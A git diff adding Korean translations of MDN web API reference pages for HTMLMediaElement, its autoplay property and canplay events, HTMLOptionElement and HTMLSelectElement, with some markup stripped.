+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmllielement", "HTMLLIElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "grouping-content.html#the-li-element", "HTMLLIElement")}}{{Spec2('HTML5 W3C')}}The following property is now obsolete: type.
{{SpecName('DOM2 HTML', 'html.html#ID-74680021', 'HTMLLIElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-74680021', 'HTMLLIElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.HTMLLIElement")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/htmlmediaelement/autoplay/index.html b/files/ko/web/api/htmlmediaelement/autoplay/index.html new file mode 100644 index 0000000000..666c3a41a8 --- /dev/null +++ b/files/ko/web/api/htmlmediaelement/autoplay/index.html @@ -0,0 +1,79 @@ +--- +title: HTMLMediaElement.autoplay +slug: Web/API/HTMLMediaElement/autoplay +translation_of: Web/API/HTMLMediaElement/autoplay +--- +

{{APIRef("HTML DOM")}}

+ +

HTMLMediaElement.autoplay 프로퍼티는 {{htmlattrxref("autoplay", "video")}} HTML 어트리뷰트의 값을 반환합니다. 이 프로퍼티는 미디어가 문제 없이 재생 가능한 상황이 되면 자동 재생 여부를 결정합니다.

+ +

미디어 엘리먼트의 소스가 {{domxref("MediaStream")}}이며 autoplay 프로퍼티가 true 일 경우 액티브 상태가 되면 재생합니다 (즉, {{domxref("MediaStream.active")}}가 true가 될 때).

+ +
+

Note: 오디오(또는 오디오가 있는 비디오)를 자동으로 재생하는 사이트는 사용자에게 그리 탐탁치 않은 경험일 수 있습니다, 그러므로 가능한 한 지양해야합니다. 자동 재생 기능을 제공하려면, 사전 동의(사용자에게 기능을 켜도록 함)를 받아야 합니다. 의외로 이 점은 사용자의 조작에 의해 미디어 엘레먼츠를 늦게 생성하는 경우 유용할 수 있습니다.

+
+ +

자동 재생과 자동 재생 제한, 그리고 브라우저의 자동 재생 제한에 대처하는 법에 대해 자세히 알고 싶다면 미디어 자동 재생과 Web Audio API 가이드 문서를 참조하세요.

+ +

문법

+ +
HTMLMediaElement.autoplay = true | false;
+
+var autoplay = HTMLMediaElement.autoplay;
+ +

+ +

미디어가 재생 가능할 정도로 로드되고 문제 없이 재생 가능할 때 자동 재생 여부를 {{domxref("Boolean")}} true 로 반환한다.

+ +
+

Note: 특정 브라우저는 사용자 설정을 통해 autoplay 프로퍼티를 무시하고 비디오/오디오 자동 재생을 막는 기능을 제공합니다. 자동 재생을 위해 autoplay 프로퍼티를 맹신하지 마세요.

+
+ +

예제

+ +

...

+ +
<video id="video" controls>
+  <source src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&profile_id=165">
+</video>
+ +
*** Disable autoplay (recommended) ***
+      false is the default value
+        document.querySelector('#video').autoplay = false;
+
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "embedded-content.html#dom-media-autoplay", "HTMLMediaElement.autoplay")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.autoplay")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLMediaElement.autoplay")}}

+ +

더 보기

+ + diff --git a/files/ko/web/api/htmlmediaelement/canplay_event/index.html b/files/ko/web/api/htmlmediaelement/canplay_event/index.html new file mode 100644 index 0000000000..95f700ef3f --- /dev/null +++ b/files/ko/web/api/htmlmediaelement/canplay_event/index.html @@ -0,0 +1,82 @@ +--- +title: 'HTMLMediaElement: canplay' +slug: Web/API/HTMLMediaElement/canplay_event +tags: + - canplay +translation_of: Web/API/HTMLMediaElement/canplay_event +--- +

canplay 이벤트는 user agent 가 media 를 재생할 수 있을 때 발생된다. 그러나, 컨텐츠의 추가 버퍼링을 위한 정지 없이 media 를 끝까지 재생하기에는, 로드된 데이터가 충분하지 않을 것으로 추산한다.

+ +

General info

+ +
+
Specification
+
HTML5 media
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
Element
+
Default Action
+
None.
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ + + + diff --git a/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html b/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html new file mode 100644 index 0000000000..198bc13a39 --- /dev/null +++ b/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html @@ -0,0 +1,82 @@ +--- +title: 'HTMLMediaElement: canplaythrough' +slug: Web/API/HTMLMediaElement/canplaythrough_event +tags: + - canplaythrough +translation_of: Web/API/HTMLMediaElement/canplaythrough_event +--- +

canplaythrough 이벤트는 user agent 가 media 를 재생할 수 있을 때 발생되며, 컨텐츠의 추가 버퍼링을 위한 정지 없이 media 를 끝까지 재생하기에 로드된 데이터가 충분할 것으로 추산한다.

+ +

General info

+ +
+
Specification
+
HTML5 media
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
Element
+
Default Action
+
None.
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ + + + diff --git a/files/ko/web/api/htmlmediaelement/index.html b/files/ko/web/api/htmlmediaelement/index.html new file mode 100644 index 0000000000..d8035bd3c0 --- /dev/null +++ b/files/ko/web/api/htmlmediaelement/index.html @@ -0,0 +1,282 @@ +--- +title: HTMLMediaElement +slug: Web/API/HTMLMediaElement +translation_of: Web/API/HTMLMediaElement +--- +

{{APIRef("HTML DOM")}}

+ +

HTMLMediaElement는 오디오와 비디오에 통용되는 미디어 관련 확장성을 제공하기 위해 {{domxref("HTMLElement")}}에 메소드와 프로퍼티를 추가한 인터페이스입니다. {{domxref("HTMLVideoElement")}} 와 {{domxref("HTMLAudioElement")}} 는 이 인터페이스를 상속합니다.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

속성(Properties)

+ +

이 인터페이스는 {{domxref("HTMLElement")}}, {{domxref("Element")}}, {{domxref("Node")}}, and {{domxref("EventTarget")}}의 프로퍼티들도 모두 상속합니다.

+ +
+
{{domxref("HTMLMediaElement.audioTracks")}}
+
{{domxref("AudioTrackList")}}는 엘레먼트의 {{domxref("AudioTrack")}} 객체의 목록입니다.
+
{{domxref("HTMLMediaElement.autoplay")}}
+
미디어가 준비된 즉시 재생할 것인지 결정하는 {{htmlattrxref("autoplay", "video")}} 속성에 연결된 {{jsxref("Boolean")}}값입니다.. +
Note: 오디오(또는 오디오가 있는 비디오)를 자동으로 재생하는 사이트는 사용자에게 그리 탐탁치 않은 경험일 수 있습니다, 그러므로 가능한 한 지양해야합니다. 자동 재생 기능을 제공하려면, 사전 동의(사용자에게 기능을 켜도록 함)를 받아야 합니다. 의외로 이 점은 사용자의 조작에 의해 미디어 엘레먼츠를 늦게 생성하는 경우 유용할 수 있습니다.
+
+
{{domxref("HTMLMediaElement.buffered")}} {{readonlyinline}}
+
buffered 프로퍼티에 접근한 시점에 브라우저가 버퍼에 담고 있는 미디어 소스의 구간 데이터를 나타내는 {{domxref("TimeRanges")}} 객체를 반환합니다.
+
{{domxref("HTMLMediaElement.controller")}}
+
미디어 엘레먼트에 할당된 {{domxref("MediaController")}} 객체를 반환하거나 없다면 null을 반환합니다.
+
{{domxref("HTMLMediaElement.controls")}}
+
미디어 엘레먼트에 컨트롤를 표시할지 결정하는 {{htmlattrxref("controls", "video")}} HTML 속성 값을 {{jsxref('Boolean')}}으로 반환합니다.
+
{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}
+
브라우저가 미디어 엘레먼트에 자체 컨트롤을 표시할 때 어떤 컨트롤을 보여주거나 숨길 지 결정하는 {{domxref("DOMTokenList")}}를 반환합니다. . DOMTokenList는 nodownload, nofullscreennoremoteplayback 값을 가질 수 있습니다.
+
{{domxref("HTMLMediaElement.crossOrigin")}}
+
{{domxref("DOMString")}}미디어 엘레먼트의 CORS 설정값을 반환합니다.
+
{{domxref("HTMLMediaElement.currentSrc")}} {{readonlyinline}}
+
현재 선택된 미디어 소스 URL의 절대 경로를 {{domxref("DOMString")}}로 반환합니다.
+
{{domxref("HTMLMediaElement.currentTime")}}
+
현재 재생 시점을 초 단위로 표현한 double값입니다. 이 값을 세팅하여 재생 시점을 변경할 수 있습니다.
+
{{domxref("HTMLMediaElement.defaultMuted")}}
+
{{jsxref('Boolean')}} 기본적으로 음소거 상태인지 표시하는 {{htmlattrxref("muted", "video")}} HTML 속성 값을 {{jsxref('Boolean')}}으로 반환합니다.
+
{{domxref("HTMLMediaElement.defaultPlaybackRate")}}
+
미디어 기본 재생 배속을 double 값으로 반환합니다.
+
{{domxref("HTMLMediaElement.disableRemotePlayback")}}
+
Is a {{jsxref('Boolean')}} that sets or returns the remote playback state, indicating whether the media element is allowed to have a remote playback UI.
+
{{domxref("HTMLMediaElement.duration")}} {{readonlyinline}}
+
미디어의 전체 길이를 초 단위로 double 값으로 반환합니다. 재생 가능한 미디어가 없을 경우 0을 반환합니다.
+
{{domxref("HTMLMediaElement.ended")}} {{readonlyinline}}
+
미디어 재생 완료 여부를 {{jsxref('Boolean')}} 값으로 반환합니다.
+
{{domxref("HTMLMediaElement.error")}} {{readonlyinline}}
+
마지막으로 발생한 {{domxref("MediaError")}} 객체를 반환합니다. 발생한 에러가 없을 경우 null을 반환합니다.
+
{{domxref("HTMLMediaElement.loop")}}
+
미디어의 반복 재생을 결정하는 HTML 속성 {{htmlattrxref("loop", "video")}} 값을{{jsxref('Boolean')}}으로 반환합니다.
+
{{domxref("HTMLMediaElement.mediaGroup")}}
+
미디어가 속한 그룹을 나타내는 {{ htmlattrxref("mediagroup", "video")}} 속성을 {{domxref("DOMString")}} 값으로 반환합니다. 같은 그룹에 속한 미디어들은 동일한  {{domxref('MediaController')}}에 의해 제어됩니다.
+
{{domxref("HTMLMediaElement.mediaKeys")}} {{readonlyinline}} {{experimental_inline}}
+
{{domxref("MediaKeys")}} 객체 또는 null을 반환합니다. MediaKeys는 재생할 미디어 데이터를 복호화 하는데 사용합니다.
+
{{domxref("HTMLMediaElement.mozAudioCaptured")}} {{readonlyinline}} {{non-standard_inline}}
+
오디오 스트림 캡쳐 여부를 {{jsxref('Boolean')}} 값으로 반환합니다. (Mozilla 전용 비표준 속성.)
+
{{domxref("HTMLMediaElement.mozFragmentEnd")}} {{non-standard_inline}}
+
MediaElement의 currentSrc에 fragment URI가 존재하는 경우 fragment end time을 double 값으로 반환합니다. 없을 경우 미디어 길이를 반환합니다. (Mozilla 전용 비표준 속성)
+
{{domxref("HTMLMediaElement.mozFrameBufferLength")}} {{non-standard_inline}} {{deprecated_inline}}
+
+

MozAudioAvailable 이벤트 발생시마다 반환된 framebuffer의 샘플 숫자를 unsigned long 로 반환한다. 이 숫자는 모든 오디오 채널의 총합이며, 기본값은 채널 수 * 1024(예, 2 채널 * 1024 샘플 = 2048)이다.

+ +

레이턴시가 낮은 경우 mozFrameBufferLength 를 더 큰 값으로 지정할 수도 있습니다. 범위는 512에서 16384 사이입니다. 범위를 넘어서는 값은 Error를 발생시킵니다. loadedmetadata 이벤트가 발생할 때 새 값을 지정하는 것이 적절합니다. 오디오 정보는 알고 있지만 재생 시작 전 또는 MozAudioAvailable 이벤트가 발생하기 전 시점이죠.

+
+
{{domxref("HTMLMediaElement.mozSampleRate")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}
+
디지털 샘플링 주파수 값을 double로 반환합니다. 예를 들어 CD 오디오의 경우 초당 44100 샘플을 가집니다.
+
{{domxref("HTMLMediaElement.muted")}}
+
오디오 음소거 여부를 {{jsxref('Boolean')}} 값으로 반환합니다. 음소거라면 true 반대는 false 를 반환합니다..
+
{{domxref("HTMLMediaElement.networkState")}} {{readonlyinline}}
+
네트워크를 통한 미디어 데이터 전송 상태를 unsigned short (enumeration)으로 반환합니다.
+
{{domxref("HTMLMediaElement.paused")}} {{readonlyinline}}
+
미디어 일시 정지 여부를 {{jsxref('Boolean')}} 값으로 반환합니다.
+
{{domxref("HTMLMediaElement.playbackRate")}}
+
재생 속도를 double 값으로 반환합니다. 
+
{{domxref("HTMLMediaElement.played")}} {{readonlyinline}}
+
브라우저에서 재생된 미디어 소스 범위를 포함한 {{domxref('TimeRanges')}} 객체를 반환합니다.
+
{{domxref("HTMLMediaElement.preload")}}
+
프리로드 할 데이터 타입을 명시하는  {{htmlattrxref("preload", "video")}} attribute를 {{domxref("DOMString")}} 값으로 반환한다. 가능한 값들 : none, metadata, auto.
+
{{domxref("HTMLMediaElement.preservesPitch")}} {{non-standard_inline}}
+
사운드 피치 유지 여부를 {{jsxref('Boolean')}} 값으로 반환합니다. false 일 경우, 오디오 재생 속도에 따라 변하게 됩니다. Firefox의 (mozPreservesPitch)와 WebKit의 (webkitPreservesPitch)로 구현되어 있습니다.
+
{{domxref("HTMLMediaElement.readyState")}} {{readonlyinline}}
+
미디어 대기 상태를 unsigned short (enumeration)으로 반환합니다.
+
{{domxref("HTMLMediaElement.seekable")}} {{readonlyinline}}
+
탐색(seeking) 가능한 범위를 포함한 {{domxref('TimeRanges')}} 객체를 반환합니다.
+
{{domxref("HTMLMediaElement.seeking")}} {{readonlyinline}}
+
탐색(seeking) 중 여부를 {{jsxref('Boolean')}} 값으로 반환합니다.
+
{{domxref("HTMLMediaElement.sinkId")}} {{readonlyinline}} {{experimental_inline}}
+
별도의 오디오 재생 장치로 출력중이라면 장치의 unique ID를 {{domxref("DOMString")}} 으로 반환합니다. 브라우저로 재생 중이라면 빈 문자열입니다. 이 ID는 {{domxref("MediaDevices.enumerateDevices()")}}에서 반환된 MediaDeviceInfo.deviceidid-multimedia, id-communications 중 하나입니다.
+
{{domxref("HTMLMediaElement.src")}}
+
미디어 리소스 URL이 포함된 {{htmlattrxref("src", "video")}} attribute를 {{domxref("DOMString")}} 값으로 반환합니다.
+
{{domxref("HTMLMediaElement.srcObject")}}
+
현재 HTMLMediaElement 객체에서 재생 중이거나 재생 되었던 미디어를 표현하는 {{domxref('MediaStream')}} 객체를 반환합니다. 없는 경우, null 을 반환합니다.
+
{{domxref("HTMLMediaElement.textTracks")}} {{readonlyinline}}
+
{{domxref("TextTrack")}} 리스트를 반환합니다.
+
{{domxref("HTMLMediaElement.videoTracks")}} {{readonlyinline}}
+
{{domxref("VideoTrack")}} 리스트를 반환합니다.. +
+

Gecko는 싱글 트랙 재생만을 지원합니다. 또한 트랙 메타데이터 파싱은 Ogg 컨테이너 포맷에서만 가능합니다..

+
+
+
{{domxref("HTMLMediaElement.volume")}}
+
오디오 볼륨을 double 값으로 반환합니다. 0.0 (무음)에서 1.0 (최대크기) 사이 값을 가집니다..
+
+ +

이벤트 핸들러(Event handlers)

+ +
+
+
{{domxref("HTMLMediaElement.onencrypted")}}
+
미디어 암호화 시 호출되는 {{domxref('EventHandler')}}를 설정합니다.
+
{{domxref("HTMLMediaElement.onwaitingforkey")}}
+
재생하기 위해 복호화 키가 필요한 경우 호출되는 {{domxref('EventHandler')}}를 설정합니다..
+
+ +

폐기된 속성(Obsolete attributes)

+ +

아래 속성들은 폐기되었으며 브라우저가 지원하더라도 사용되지 않아야 합니다.

+ +
+
{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}
+
최초 재생 지점을 초 단위로 double 값으로 반환합니다.
+
{{domxref("HTMLMediaElement.mozChannels")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}
+
오디오 채널 수를 double 값으로 반환합니다. (예, 스테레오인 경우 2).
+
+ +

폐기된 이벤트 핸들러(Obsolete event handlers)

+ +
+
{{domxref("HTMLMediaElement.onmozinterruptbegin")}} {{non-standard_inline}} {{obsolete_inline}}
+
Audio Channel manager에 의해 재생이 인터럽트 된 경우 호출되는 {{domxref("EventHandler")}} 를 설정합니다. Firefox 전용 기능으로 Firefox OS에서 추가되었으며 Firefox 55 버전에서 제거되었습니다.
+
{{domxref("HTMLMediaElement.onmozinterruptend")}} {{non-standard_inline}} {{obsolete_inline}}
+
재생 인터럽트가 해결된 경우 호출되는 {{domxref('EventHandler')}}를 설정합니다. Firefox 전용 기능으로 Firefox OS에서 추가되었으며 Firefox 55 버전에서 제거되었습니다.
+
+ +

메소드

+ +

This interface also inherits methods from its ancestors {{domxref("HTMLElement")}}, {{domxref('Element')}}, {{domxref('Node')}}, and {{domxref('EventTarget')}}.

+ +
+
{{domxref("HTMLMediaElement.addTextTrack()")}}
+
미디어 엘리먼트에 본문 트랙(자막 등)을 추가합니다.
+
{{domxref("HTMLMediaElement.captureStream()")}} {{experimental_inline}}
+
미디어 콘텐트의 스트림을 캡쳐하여 {{domxref("MediaStream")}} 객체로 반환합니다.
+
{{domxref("HTMLMediaElement.canPlayType()")}}
+
현재 지정된 미디어 타입을 재생할 수 있는지 확인합니다.
+
{{domxref("HTMLMediaElement.fastSeek()")}}
+
입력된 시간으로 바로 이동합니다.
+
{{domxref("HTMLMediaElement.load()")}}
+
미디어를 처음으로 리셋하고 {{htmlattrxref("src", "video")}} 어트리뷰트 또는 {{HTMLElement("source")}} 엘리먼트로 전달된 소스 중 최적의 소스를 선택합니다.
+
{{domxref("HTMLMediaElement.mozCaptureStream()")}} {{non-standard_inline}}
+
[enter description]
+
{{domxref("HTMLMediaElement.mozCaptureStreamUntilEnded()")}} {{non-standard_inline}}
+
[enter description]
+
{{domxref("HTMLMediaElement.mozGetMetadata()")}} {{non-standard_inline}}
+
Returns {{jsxref('Object')}}, which contains properties that represent metadata from the playing media resource as {key: value} pairs. A separate copy of the data is returned each time the method is called. This method must be called after the loadedmetadata event fires.
+
{{domxref("HTMLMediaElement.pause()")}}
+
미디어 재생을 일시 정지합니다.
+
{{domxref("HTMLMediaElement.play()")}}
+
미디어를 재생합니다.
+
{{domxref("HTMLMediaElement.seekToNextFrame()")}} {{non-standard_inline}} {{experimental_inline}}
+
미디어의 다음 프레임으로 이동합니다. 비표준이며 실험적인 이 기능은 미디어를 읽고 렌더링 하는 속도를 조절할 수 있게 하거나 프레임별로 필터링 등 추가적인 기능을 수행할 수 있게 합니다.
+
{{domxref("HTMLMediaElement.setMediaKeys()")}} {{experimental_inline}}
+
미디어 복호화에 필요한 키를 지정합니다. {{jsxref("Promise")}} 객체를 반환합니다.
+
{{domxref("HTMLMediaElement.setSinkId()")}} {{experimental_inline}}
+
오디오를 출력할 장치의 ID를 지정합니다. {{jsxref("Promise")}} 객체를 반환합니다. 어플리케이션이 특정 장치를 사용할 수 있는 경우에만 동작합니다.
+
+ +

폐기된 메소드

+ +

아래 메소드들은 폐기되었습니다. 브라우저가 지원하더라도 사용하면 안됩니다.

+ +
+
{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Mozilla 구현체에서만 동작하는 이 메소드는 다른 미디어 엘리먼트에서 데이터를 로드합니다. load() 메소드와 유사하게 동작하지만 리소스 선택 알고리즘만 다릅니다. 엘리먼트의 소스를 다른 엘리먼트의 currentSrc를 바라보게 합니다. 지정된 엘리먼트의 캐시 및 버퍼에 담긴 데이터에도 모두 접근할 수 있으며 이 말은 즉 다운로드 된 모든 데이터를 공유한다는 의미입니다.
+
+ +

이벤트

+ +

부모 엘리먼트 {{domxref("HTMLElement")}}에서 상속받은 이벤트와 {{domxref('GlobalEventHandlers')}}에 정의된 이벤트를 믹스인합니다. addEventListener()를 통해 이벤트를 수신하거나 oneventname 프로퍼티에 리스터를 할당하여 수신합니다.

+ +
+
{{domxref("HTMLMediaElement.abort_event", 'abort')}}
+
에러 외의 원인으로 전체 리소스가 로드 되지 못했을 때 발생합니다.
+
{{domxref("HTMLMediaElement.canplay_event", 'canplay')}}
+
User agent가 미디어를 재생 가능한 시점에 발생합니다. 다만 전체 미디어를 재생하기 위해서는 콘텐츠의 버퍼링이 더 필요할 수 있습니다.
+
{{domxref("HTMLMediaElement.canplaythrough_event", 'canplaythrough')}}
+
추가 버퍼링 없이 전체 미디어를 재생할 수 있는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.durationchange_event", 'durationchange')}}
+
duration 속성이 변경된 시점에 발생합니다..
+
{{domxref("HTMLMediaElement.emptied_event", 'emptied')}}
+
미디어가 제거된 시점에 발생합니다. 예를 들어 미디어가 이미 (부분적으로라도) 로드 되었는데. {{domxref("HTMLMediaElement.load()")}} 메소드 호출로 재 로드할 경우 발생합니다.
+
{{domxref("HTMLMediaElement.ended_event", 'ended')}}
+
(<audio> or <video>) 미디어가 끝까지 재생 완료 된 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.error_event", 'error')}}
+
에러가 발생하여 리소스를 로드할 수 없는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.loadeddata_event", 'loadeddata')}}
+
미디어의 첫번째 프레임이 로딩 완료된 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.loadedmetadata_event", 'loadedmetadata')}}
+
메타데이터가 로드 된 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.loadstart_event", 'loadstart')}}
+
브라우저가 리소스를 로드하기 시작하는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.pause_event", 'pause')}}
+
미디어 일시 정지를 요청하고 paused 상태로 진입하는 시점에 발생합니다. 일반적으로 {{domxref("HTMLMediaElement.pause()")}} 메소드가 호출되는 시점입니다.
+
{{domxref("HTMLMediaElement.play_event", 'play')}}
+
{{domxref("HTMLMediaElement.play()")}} 메소드 호출이나 autoplay 속성에 의해 paused 프로퍼티가 true 에서 false로 전환되는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.playing_event", "playing")}}
+
일시 정지 되거나 버퍼 부족으로 재생 정지 된 이후 재생 가능한 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.progress_event", "progress")}}
+
브라우저가 리소르를 로딩 중일 때 주기적으로 발생합니다.
+
{{domxref("HTMLMediaElement.ratechange_event", 'ratechange')}}
+
재생 속도가 변경될 때 발생합니다.
+
{{domxref("HTMLMediaElement.seeked_event", 'seeked ')}}
+
미디어 시킹이 완료되는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.seeking_event", 'seeking')}}
+
미디어 시킹이 시작되는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.stalled_event", 'stalled')}}
+
User agent가 미디어 데이터를 fetch 하였지만 전송되지 않은 경우 발생합니다.
+
{{domxref("HTMLMediaElement.suspend_event", 'suspend')}}
+
미디어 로딩이 중지된 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.timeupdate_event", 'timeupdate')}}
+
currentTime 속성이 변경되는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.volumechange_event", 'volumechange')}}
+
볼륨이 변경되는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.waiting_event", 'waiting')}}
+
일시적인 버퍼 부족으로 재생이 정지된 시점에 발생합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture','#htmlmediaelement-extensions','HTMLMediaElement')}}{{Spec2('Media Capture')}}sinkId, setSinkId(), captureStream() 추가 됨
{{SpecName('EME', '#introduction', 'Encrypted Media Extensions')}}{{Spec2('EME')}}{{domxref("MediaKeys")}}, {{domxref("MediaEncryptedEvent")}}, {{domxref("setMediaKeys")}}, {{domxref("onencrypted")}}, and {{domxref("onwaitingforkey")}} 추가 됨.
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement")}}{{Spec2('HTML WHATWG')}}{{SpecName('HTML5 W3C')}}와 동일
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement")}}{{Spec2('HTML5 W3C')}}최초 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLMediaElement")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmloptionelement/index.html b/files/ko/web/api/htmloptionelement/index.html new file mode 100644 index 0000000000..eaf7e27ae6 --- /dev/null +++ b/files/ko/web/api/htmloptionelement/index.html @@ -0,0 +1,88 @@ +--- +title: HTMLOptionElement +slug: Web/API/HTMLOptionElement +translation_of: Web/API/HTMLOptionElement +--- +
{{APIRef("HTML DOM")}}
+ +

The HTMLOptionElement interface represents {{HTMLElement("option")}} elements and inherits all classes and methods of the {{domxref("HTMLElement")}} interface.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Properties

+ +

Inherits properties from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLOptionElement.defaultSelected")}}
+
Is a {{domxref("Boolean")}} that contains the initial value of the {{htmlattrxref("selected", "option")}} HTML attribute, indicating whether the option is selected by default or not.
+
{{domxref("HTMLOptionElement.disabled")}}
+
Is a {{domxref("Boolean")}} representing the value of the {{htmlattrxref("disabled", "option")}} HTML attribute, which indicates that the option is unavailable to be selected. An option can also be disabled if it is a child of an {{HTMLElement("optgroup")}} element that is disabled.
+
{{domxref("HTMLOptionElement.form")}} {{readonlyInline}}
+
Is a {{domxref("HTMLFormElement")}} representing the same value as the form of the corresponding {{HTMLElement("select")}} element, if the option is a descendant of a {{HTMLElement("select")}} element, or null if none is found.
+
{{domxref("HTMLOptionElement.index")}} {{readonlyInline}}
+
Is a long representing the position of the option within the list of options it belongs to, in tree-order. If the option is not part of a list of options, like when it is part of the {{HTMLElement("datalist")}} element, the value is 0.
+
{{domxref("HTMLOptionElement.label")}} {{readonlyInline}}
+
Is a {{domxref("DOMString")}} that reflects the value of the {{htmlattrxref("label", "option")}} HTML attribute, which provides a label for the option. If this attribute isn't specifically set, reading it returns the element's text content.
+
{{domxref("HTMLOptionElement.selected")}}
+
Is a {{domxref("Boolean")}} that indicates whether the option is currently selected.
+
{{domxref("HTMLOptionElement.text")}}
+
Is a {{domxref("DOMString")}} that contains the text content of the element.
+
{{domxref("HTMLOptionElement.value")}}
+
Is a {{domxref("DOMString")}} that reflects the value of the {{htmlattrxref("value", "option")}} HTML attribute, if it exists; otherwise reflects value of the {{domxref("Node.textContent")}} property.
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("HTMLElement")}}.

+ +
+
Option()
+
Is a constructor creating an HTMLOptionElement object. It has four values: the text to display, text, the value associated, value, the value of defaultSelected, and the value of selected. The last three values are optional.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmloptionelement", "HTMLOptionElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "forms.html#the-option-element", "HTMLOptionElement")}}{{Spec2('HTML5 W3C')}}A constructor, Option(), has been added.
+ The form property can be the null value.
{{SpecName('DOM2 HTML', 'html.html#ID-70901257', 'HTMLOptionElement')}}{{Spec2('DOM2 HTML')}}The selected property changed its meaning: it now indicates if the option is currently selected and no longer if it was initally selected.
+ The defaultSelected property is no longer read-only.
{{SpecName('DOM1', 'level-one-html.html#ID-70901257', 'HTMLOptionElement')}}{{Spec2('DOM1')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLOptionElement")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmlselectelement/index.html b/files/ko/web/api/htmlselectelement/index.html new file mode 100644 index 0000000000..967409aadc --- /dev/null +++ b/files/ko/web/api/htmlselectelement/index.html @@ -0,0 +1,166 @@ +--- +title: HTMLSelectElement +slug: Web/API/HTMLSelectElement +tags: + - API + - HTML DOM + - HTMLSelectElement + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/HTMLSelectElement +--- +
{{APIRef("HTML DOM")}}
+ +

The HTMLSelectElement interface represents a {{HTMLElement("select")}} HTML Element. These elements also share all of the properties and methods of other HTML elements via the {{domxref("HTMLElement")}} interface.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Properties

+ +

This interface inherits the properties of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.

+ +
+
{{domxref("HTMLSelectElement.autofocus")}}
+
A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("autofocus", "select")}} HTML attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified. {{gecko_minversion_inline("2.0")}}
+
{{domxref("HTMLSelectElement.disabled")}}
+
A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("disabled", "select")}} HTML attribute, which indicates whether the control is disabled. If it is disabled, it does not accept clicks.
+
{{domxref("HTMLSelectElement.form")}}{{ReadOnlyInline}}
+
An {{domxref("HTMLFormElement")}} referencing the form that this element is associated with. If the element is not associated with of a {{HTMLElement("form")}} element, then it returns null.
+
{{domxref("HTMLSelectElement.labels")}}{{ReadOnlyInline}}
+
A {{domxref("NodeList")}} of {{HTMLElement("label")}} elements associated with the element.
+
